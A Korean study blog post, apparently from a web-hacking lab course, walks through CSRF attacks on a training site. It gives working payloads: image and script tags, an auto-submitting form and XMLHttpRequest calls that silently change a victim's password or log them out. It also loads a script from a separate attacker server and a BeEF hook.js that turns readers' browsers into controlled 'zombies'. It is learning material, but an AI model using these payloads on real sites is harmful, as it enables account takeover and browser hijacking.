csrf(크로스사이트 요청위조),좀비

Web hacking|2020. 12. 1. 11:16

 

 

 

change Account Settings들어가서

 

버프수트로 잡기

 

 

 

 

 

패스워드 변경요청을 버프수트 프록시로 잡았다.

 

 

 

이요청패킷을 피해자가 실행되게한다.

 

1.패스워드 변경요청을 프록시로잡으면 post방식으로 변경할 값이 서버로 전달됩니다.

 

이게 겟요청이면

 

 

GET http://....member_modify_ok.php?exec=modify&name=core&email=core&password=123&repassword=123

 

이렇게적용이가능하다.

 

url 쓰고 뒤에 데이타를 쓰면 가능하지만

 

현재는 post방식인데 get방식으로 바꿔볼까?????

 

이런생각을할수있다

 

 

애를 get요청으로 바꿔본다.

 

 

 

 

 

 

 

 

참고로 15,16 줄의 공백은 지우면안된다!중요

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

POST방식을>>>>>>>GET방식으로!!!!

 

 

 

GET /webhack/member/member_modify_ok.php?exec=modify&name=core&email=core&password=123&repassword=123

 

 

참고로 15,16 줄의 공백은 지우면안된다!중요

 

 

 

 

 

<script src="http://192.168.0.200/webhack/member/member_modify_ok.php? exec=modify&name=core&email=core&password=123&repassword=123

 

 

이걸 실행한사람이 비밀번호가 바껴지게

 

 

인증값이없는 게시판에서는 이거를 써봐야 아무일이없다.

(anonymous Board같은 로그인이필요없는곳에서는)

 

 

 

인증값이필요한 Q&A Board에서 해본다.

 

 

 

script는 사용불가 하지만 oneerror/alert 함수사용가능

 

 

 

<img src=# onerror=alert('aa')>

 

 

 

 

 

 

 

 

 

 

 

 

<img src=# onerror=alert('aa')>

 

 

 

 

 

1번방법

<script>

location.href="http://192.168.0.200/webhack/member/member_modify_ok.php? user_id=asdasd&exec=modify&name=asdasd&email=asdasd&password=12345&repassword=12345"

</script>

 

 

이렇게 스크립트를작성해서넣으면 변경이완료된다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

---------------------------------------------

 

 

---------------------------

 

 

다른방법

 

 

<script src="http://192.168.0.200/webhack/member/member_modify_ok.php? user_id=asdasd&exec=modify&name=asdasd&email=asdasd&password=asdasd&repassword=asdasd"/>

 

 

 

 

자동으로 로그인 껏다켜도 자동으로 비밀번호가 바뀐다

 

 

 

 

 

 

-----------------------------------------------다른방법

<script>

 

var request = new XMLHttpRequest();

 

request.open("GET", "http://192.168.0.200/webhack/member/member_modify_ok.php?exec=modify&name=hmwoo&email=hmwoo@hmwoo.com&password=hmwoo123&repassword=hmwoo123", false);

 

request.onreadystatechange = function()

{

console.log(request.responseText);

}

 

request.send();

 

</script>

 

 

 

 

 

 

-------------------------------------------------------------------

 

다음문제

 

 

 

 

중요!

 

----------------------------------------------------------------------------------------------------

공격시나리오

q&a Board에서

 

공격지 :attacker555/attacker555

피해자 test4444/test44444

 

회원가입

 

 

피해자의 비밀번호를 attacker5555로 변경시도

 

 

 

 

 

<img src="http://192.168.0.200/webhack/member/member_modify_ok.php?exec=modify&name=asdasd&email=asdasd&password=asdasd&repassword=asdasd">

 

<img src="http://192.168.0.200/webhack/member/member_modify_ok.php?exec=modify&name=hmwoo&email=hmwoo@hmwoo.com&password=hmwoo123&repassword=hmwoo123" />

csrf공격은 본인도모르는 사이에 비밀번호가 바뀌어서 당한다

 

 

공격지 :attacker555/attacker555

공격자가

 

게시물에

 

 

<img src="http://192.168.0.200/webhack/member/member_modify_ok.php?exec=modify&name=asdasd&email=asdasd&password=test1234&repassword=test1234"/>

 

 

 

삽입했을떄

피해자 test4444/test44444

인사람이

피해자가 저걸눌렀을떄

비밀번호가 자동으로

피해자 test4444/test1234

바뀌기때문에

 

 

 

클릭을 해서 비밀번호가 자동으로 바뀌기때문에

 

피해자가 저게시글을 클릭해서 비밀번호가 바뀌어버려서 로그인이 못하는 상황이 올떄

 

 

csrf공격을당한것이다

 

 

누른사람이 저요청대로 바뀐다는뜻임

-------------------------------------------------------------------

 

 

 

 

 

 

 

 

 

다음

 

 

 

 

 

 

 

 

 

 

-------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

 

 

 

네이버 로그인 소스코드

 

 

<html>

<form name="test" method="post" action="http://192.168.0.200/--.php>

<input type="text" name="abc" value="test123">

<input type="text" name="wel" value="test456">

<button type="submit">

</html>

 

 

 

 

내가 포스트형식으로 저기에다 보낼껀데

<html>

<form name="test" method="post" action="http://192.168.0.200/--.php>

내가 포스트형식으로 저기에다 보낼껀데

<input type="text" name="abc" value="test123">

abc라는 변수에 test123값을넣는다

<input type="text" name="wel" value="test456">

wel라는 변수에 test456값을 넣는다

<button type="submit">

</html>

 

 

 

 

 

이런식의 형식이라는것을알수있다. 그걸 이용해서

밑에처럼 만든다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

내가만든걸 로그인 누를떄 프록시로 잡으면

 

 

이렇게나온다.

 

 

 

exec=modify&name=joonsoojjj&email=joonsoo&password=123123&repassword=123123

 

위에있는애를 이렇게변경하려면

회원정보 변경하는 곳의 프록시와같게 만든다 대신

1줄 16줄만변경

첫번쨰랑

16번쨰를 똑같이만들려면 html파일을수정해야된다

 

 

 

 

 

 

 

 

 

 

 

html을

 

위에 프록시 잡은것에 내 메모 파일의 형식에 똑같이 만들게하려면!!!!!!!!!!!!

 

 

위에처럼 적용을시킨다.

 

 

그러면 프록시가 같아진다

 

 

 

 

 

 

 

 

 

이렇게 같아지니까 잘이용해보기

 

html을 이용해 프록시 첫번쨰 16번쨰 같게만드셈

 

 

 

 

 

 

 

 

 

 

프록시로 비밀번호 변경사이트를 변경할떄 프록시로 캡쳐해서

 

내가만든 사이트에 같게만들어서

 

비밀번호변경사이트를 내가 만들어서

 

변경하게 만들수있다!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

다음문제시작

 

 

 

 

 

 

 

 

 

 

 

---------------------------------------------------------------------------------------------

 

 

대신에 버튼을 클릭해야 실행이되서 비밀번호변경이되니까 어떤바보가그럴까

그래서 그냥 게시글만눌러도 변경되게 바로 실행되게 해보자

 

 

 

 

 

 

 

<form name="test" method="post" action="http://192.168.0.200/webhack/member/member_modify_ok.php">

<input type="text" name="exec" value="modify">

<input type="text" name="name" value="joonsoojjj">

<input type="text" name="email" value="joonsoo">

<input type="text" name="password" value="123123">

<input type="text" name="repassword" value="123123">

<button type="submit">

</form>

<script>

document.test.submit()

</script>

 

 

 

설명(

<script>

document.test.submit()

</script>

이거는 그냥 버튼을 스크립트로실행시키는거!!!!!!!!!!!!!!!!!!!!!!!!!!! )

 

 

 

 

Q&A Board에서

 

 

 

 

 

 

 

 

 

 

 

 

(위에서는 버튼을 클릭을해야지만 실행이된다.)

하지만!

 

이거는 게시글을 클릭만하더라도 이스크립트가 실행이되기때문에

 

유용하게쓸수있지만 비밀번호가 바꼇다는 내용이 출력이되기때문에 단점이있다.

 

 

 

 

 

----------------------------------------------------------------

결국 html 로 똑같이 만들었지만 바보가 클릭을해야만 변경이되는사이트를 만들었다가

 

게시글에 넣어서 그 게시글을 클릭만해도 비밀번호가 바뀌는 형식으로 만들음!

 

 

 

 

------------------------------------------------------------------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

 

다음문제

 

 

 

 

--------------------------------------------------------------------------------------------------

 

게시글에 비밀번호 변경 스크립트를 외부서버 칼리로 지정

 

 

 

 

<script>를 제외한 모든 태그가 필터링 되있을떄!!!!!!

 

별도 악성 서버를 통해서 비밀번호를 강제로 변경

 

 

 

cd /var/www/html에서

 

vi csrf.js

 

 

 

xss에서는 이렇게 했었다 <script type="text/javascript" src="http://192.168.0.81/xss.js"></script>

 

 

이렇게만드셈

 

 

 

 

 

-------시작

 

 

 

 

 

 

외부서버 칼리에서 계정의 비밀번호가 변경되는 스크립트를 실행하게 구현

 

 

 

var xmlHttp = new XMLHttpRequest()

xmlHttp.open('GET',

'http://192.168.0.200/webhack/member/member_modify_ok.php?exec=modify&name=Core&email=core%40core.co.kr&password=666&repassword=666', true)

xmlHttp.send()

 

입력

 

전송방식과 전송 목적지를 하게만든다 send로 목적지와 get방식으로 보내겠다.

 

글을읽는사람이바뀌도록

 

 

 

 

 

 

 

 

게시글에 비밀번호 변경 스크립트를 외부서버 칼리로 지정

<script type="text/javascript" src="http://192.168.0.200/csrf.js"></script>

 

 

 

 

 

 

 

로그인 했을떄

 

비밀번호가 바뀐것이 확인가능!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 

외부서버에서 계정의 비밀번호를 변경시켜버린다.

 

 

 

 

 

 

 

--------------------------------------------------

다음문제

 

 

 

 

================================================================

=================================================

 

 

Q&A Board에서

 

 

 

 

 

게시글을 클릭하면 자동으로 로그아웃 되는 csrf를 구현하시오

 

 

 

 

 

로그아웃을 눌렀을때 이런 주소가 나온다는것을 소스 검사를통해 알수있다.

 

 

그러므로

 

스크립트를 작성할떄

"http://192.168.0.200/webhack/member/member_logout.php"

 

이렇게 적용을하면된다는것을 알수있다

 

작성해보면

<script

src="http://192.168.0.200/webhack/member/member_logout.php">

</script>

 

 

 

 

 

로그아웃이됫다 글을 눌렀을때.!!

 

 

 

 

 

------------------------------------------

다른방법

 

게시글을눌렀을때 로그아웃웹페이지로 이동하는것을 표현해보자

위에서는 그냥 로그아웃만 되기떄문에

 

주입하게되면

 

 

 

<script

src="http://192.168.0.200/webhack/member/member_logout.php">

</script>

<script>

location.href="http://192.168.0.200/webhack"

</script>

 

 

 

로그아웃 스크립트작성완료

 

 

 

 

 

 

 

로그아웃이 되면서 조금 모양이이상하게나온다 그러면

 

 

제대로 보이게하자!!

 

 

 

 

 

 

 

---------------------다른방법

 

 

 

 

 

 

<script

src="http://192.168.0.200/webhack/member/member_logout.php">

</script>

<script>

window.parent.location.href="http://192.168.0.200/webhack"

</script>

 

 

 

 

 

눌럿을떄 바로 로그아웃이되는걸 확인할수있다 !!!!!!!!!!!!!!!!!!!

 

 

 

1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 

 

 

 

 

 

 

 

--------------------------------------------------------------------

다른방법

 

 

 

 

 

<img src="http://192.168.0.200/webhack/member/member_logout.php/">

 

이방법도있고

 

 

 

<img src="http://192.168.0.200/webhack/member/member_logout.php/">

<script>

window.parent.location.href="http://192.168.0.200/webhack"

</script>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

beef url 주소-------------------------------------좀비만들기

 

 

 

http://192.168.0.74:3000/ui/panel#id=rdi8tIjWNhMmgJOaBAhjTIp3B3ir1viRJIwim8bUDz8QCM7RewuGAbwPzZWQ34dl04VBdfqCbLZQbPy8

 

 

 

 

 

 

<img src="http://192.168.0.200/webhack/member/member_logout.php/">

<script src="http://192.168.0.74:3000/hook.js">

</script>

 

 

스크립트안에 그냥 ip 주소를 넣어도된다 전에 beef로 페이스북사이트를 만들어놧기떄문에

상대방이 게시글눌렀을떄 페이스북으로가게된다

 

 

 

 

 

 

 

beef 를이용해 악성스크립트 이용해서

 

 

 

댓글()